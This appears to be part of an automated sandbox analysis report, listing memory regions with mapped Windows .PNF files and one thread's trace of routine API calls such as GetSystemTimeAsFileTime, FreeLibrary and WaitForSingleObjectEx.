"\\Windows\\INF\\ndisvirtualbus.PNF" (normalized: "c:\\windows\\inf\\ndisvirtualbus.pnf") Region: id = 8564 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndisvirtualbus.pnf" filename = "\\Windows\\INF\\ndisvirtualbus.PNF" (normalized: "c:\\windows\\inf\\ndisvirtualbus.pnf") Region: id = 8580 start_va = 0x20abc7e0000 end_va = 0x20abc7f7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\INF\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 8583 start_va = 0x20abc7e0000 end_va = 0x20abc7f7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\INF\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 8585 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8587 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8598 start_va = 0x20abc3b0000 end_va = 0x20abc3b5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc3b0000" filename = "" Region: id = 8600 start_va = 0x20abc4c0000 end_va = 0x20abc4c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssmbios.pnf" filename = "\\Windows\\INF\\mssmbios.PNF" (normalized: "c:\\windows\\inf\\mssmbios.pnf") Region: id = 8604 start_va = 0x20abc4c0000 end_va = 0x20abc4c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssmbios.pnf" filename = "\\Windows\\INF\\mssmbios.PNF" (normalized: "c:\\windows\\inf\\mssmbios.pnf") Region: id = 8618 start_va = 0x20abc4c0000 end_va = 0x20abc4c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "swenum.pnf" filename = "\\Windows\\INF\\swenum.PNF" (normalized: "c:\\windows\\inf\\swenum.pnf") Region: id = 8619 start_va = 0x20abc4c0000 end_va = 0x20abc4c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "swenum.pnf" filename = "\\Windows\\INF\\swenum.PNF" (normalized: "c:\\windows\\inf\\swenum.pnf") Region: id = 8625 start_va = 0x20abc7e0000 end_va = 0x20abc7f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 8626 start_va = 0x20abc7e0000 end_va = 0x20abc7f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 8628 start_va = 0x2dc2700000 end_va = 0x2dc277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2700000" filename = "" Region: id = 8629 start_va = 0x20abc4c0000 end_va = 0x20abc4c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpbus.pnf" filename = "\\Windows\\INF\\rdpbus.PNF" (normalized: "c:\\windows\\inf\\rdpbus.pnf") Region: id = 8631 start_va = 0x20abc4c0000 end_va = 0x20abc4c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpbus.pnf" filename = "\\Windows\\INF\\rdpbus.PNF" (normalized: "c:\\windows\\inf\\rdpbus.pnf") Region: id = 8636 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8641 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8659 start_va = 0x20abc4c0000 end_va = 0x20abc4c5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc4c0000" filename = "" Region: id = 9266 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc380000" filename = "" Region: id = 9267 start_va = 0x20abc390000 end_va = 0x20abc397fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc390000" filename = "" Region: id = 9268 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc3a0000" filename = "" Thread: id = 130 os_tid = 0x11f4 [0128.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x81df416, dwHighDateTime=0x1d9eb0c)) [0128.096] free (_Block=0x20abc27e1e0) [0128.096] FreeLibrary (hLibModule=0x20abc380000) returned 1 [0128.099] free (_Block=0x20abc2831b0) [0128.100] free (_Block=0x20abc27ce40) [0128.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x81df416, dwHighDateTime=0x1d9eb0c)) [0128.100] free (_Block=0x20abc281960) [0128.100] FreeLibrary (hLibModule=0x20abc3a0000) returned 1 [0128.103] free (_Block=0x20abc285910) [0128.104] free (_Block=0x20abc286040) [0128.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x81f8898, dwHighDateTime=0x1d9eb0c)) [0128.104] free (_Block=0x20abc281d80) [0128.104] FreeLibrary (hLibModule=0x7ffb201b0000) returned 1 [0128.104] free (_Block=0x20abc2870a0) [0128.105] free (_Block=0x20abc285fa0) [0128.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x81f8898, dwHighDateTime=0x1d9eb0c)) [0128.106] free (_Block=0x20abc281a00) [0128.106] FreeLibrary (hLibModule=0x7ffb1feb0000) returned 1 [0128.106] free (_Block=0x20abc286890) [0128.106] free (_Block=0x20abc285a50) [0128.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x81f8898, dwHighDateTime=0x1d9eb0c)) [0128.106] free (_Block=0x20abc281e20) [0128.106] FreeLibrary (hLibModule=0x7ffb1c860000) returned 1 [0128.120] free (_Block=0x20abc284e70) [0128.121] free (_Block=0x20abc285b90) [0128.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x821e909, dwHighDateTime=0x1d9eb0c)) [0128.121] free (_Block=0x20abc281c00) [0128.121] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0128.121] free (_Block=0x20abc2867b0) [0128.122] free (_Block=0x20abc285ff0) [0128.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x821e909, dwHighDateTime=0x1d9eb0c)) [0128.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x821e909, dwHighDateTime=0x1d9eb0c)) [0128.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x821e909, dwHighDateTime=0x1d9eb0c)) [0128.122] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x493c6, bAlertable=0) returned 0x0 [0129.333] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0129.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x904686f, dwHighDateTime=0x1d9eb0c)) [0129.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x904686f, dwHighDateTime=0x1d9eb0c)) [0129.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x904686f, dwHighDateTime=0x1d9eb0c)) [0129.611] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x272a, bAlertable=0) returned 0x0 [0130.780] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0130.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x9ccaeeb, dwHighDateTime=0x1d9eb0c)) [0130.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x9ccaeeb, dwHighDateTime=0x1d9eb0c)) [0130.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x9ccaeeb, dwHighDateTime=0x1d9eb0c)) [0130.927] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x2710, bAlertable=0) returned 0x0 [0132.586] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0132.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0xacc4270, dwHighDateTime=0x1d9eb0c)) [0132.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0xacc4270, dwHighDateTime=0x1d9eb0c)) [0132.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0xacc4270, dwHighDateTime=0x1d9eb0c)) [0132.599] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0133.851] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0133.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0xb9e1042, dwHighDateTime=0x1d9eb0c)) [0133.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0xb9e1042, dwHighDateTime=0x1d9eb0c)) [0133.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0xb9e1042, dwHighDateTime=0x1d9eb0c)) [0133.976] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0134.731] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0134.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0xc12e5d7, dwHighDateTime=0x1d9eb0c)) [0134.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0xc12e5d7, dwHighDateTime=0x1d9eb0c)) [0134.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0xc12e5d7, dwHighDateTime=0x1d9eb0c)) [0134.743] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x102 [0144.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x12097aa4, dwHighDateTime=0x1d9eb0c)) [0144.734] free (_Block=0x20abc281b20) [0144.735] FreeLibrary (hLibModule=0x7ffb1bf30000) returned 1 [0144.739] free (_Block=0x20abc285aa0) [0144.739] free (_Block=0x20abc285dc0) [0144.740] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x28a155a9, dwHighDateTime=0x1d9eb0c)) [0182.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x28a155a9, dwHighDateTime=0x1d9eb0c)) [0182.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x28a155a9, dwHighDateTime=0x1d9eb0c)) [0182.651] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0190.096] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2e572353, dwHighDateTime=0x1d9eb0c)) [0192.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2e572353, dwHighDateTime=0x1d9eb0c)) [0192.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2e572353, dwHighDateTime=0x1d9eb0c)) [0192.231] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0192.232] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2e5be56e, dwHighDateTime=0x1d9eb0c)) [0192.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2e5be56e, dwHighDateTime=0x1d9eb0c)) [0192.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2e5be56e, dwHighDateTime=0x1d9eb0c)) [0192.254] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0192.259] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2e84aed4, dwHighDateTime=0x1d9eb0c)) [0192.525] free (_Block=0x20abc2819e0) [0192.525] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0192.526] free (_Block=0x20abc2867b0) [0192.526] free (_Block=0x20abc2a80f0) [0192.526] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.579] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.579] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.851] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.851] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2ebb765e, dwHighDateTime=0x1d9eb0c)) [0192.876] free (_Block=0x20abc281960) [0192.876] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0192.877] free (_Block=0x20abc2867b0) [0192.881] free (_Block=0x20abc27cb20) [0192.881] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.881] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.084] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.086] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.088] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.090] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2eda74f7, dwHighDateTime=0x1d9eb0c)) [0193.092] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.095] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.096] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.097] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.100] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.103] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2edcd6f5, dwHighDateTime=0x1d9eb0c)) [0193.104] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.107] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.126] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.126] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.332] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.336] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.338] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.340] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.342] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.411] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.413] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.415] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.417] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0193.421] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd58 | out: lpSystemTimeAsFileTime=0x2dc25ffd58*(dwLowDateTime=0x2f0ee98f, dwHighDateTime=0x1d9eb0c)) [0193.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd60 | out: lpSystemTimeAsFileTime=0x2dc25ffd60*(dwLowDateTime=0x2f0ee98f, dwHighDateTime=0x1d9eb0c)) [0193.425] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xfffffff1, bAlertable=0) returned 0x0 [0193.426] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x2f0ee98f, dwHighDateTime=0x1d9eb0c)) [0193.432] free (_Block=0x20abc281aa0) [0193.432] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0193.433] free (_Block=0x20abc2867b0) [0193.434] free (_Block=0x20abc2a88c0) [0193.434] 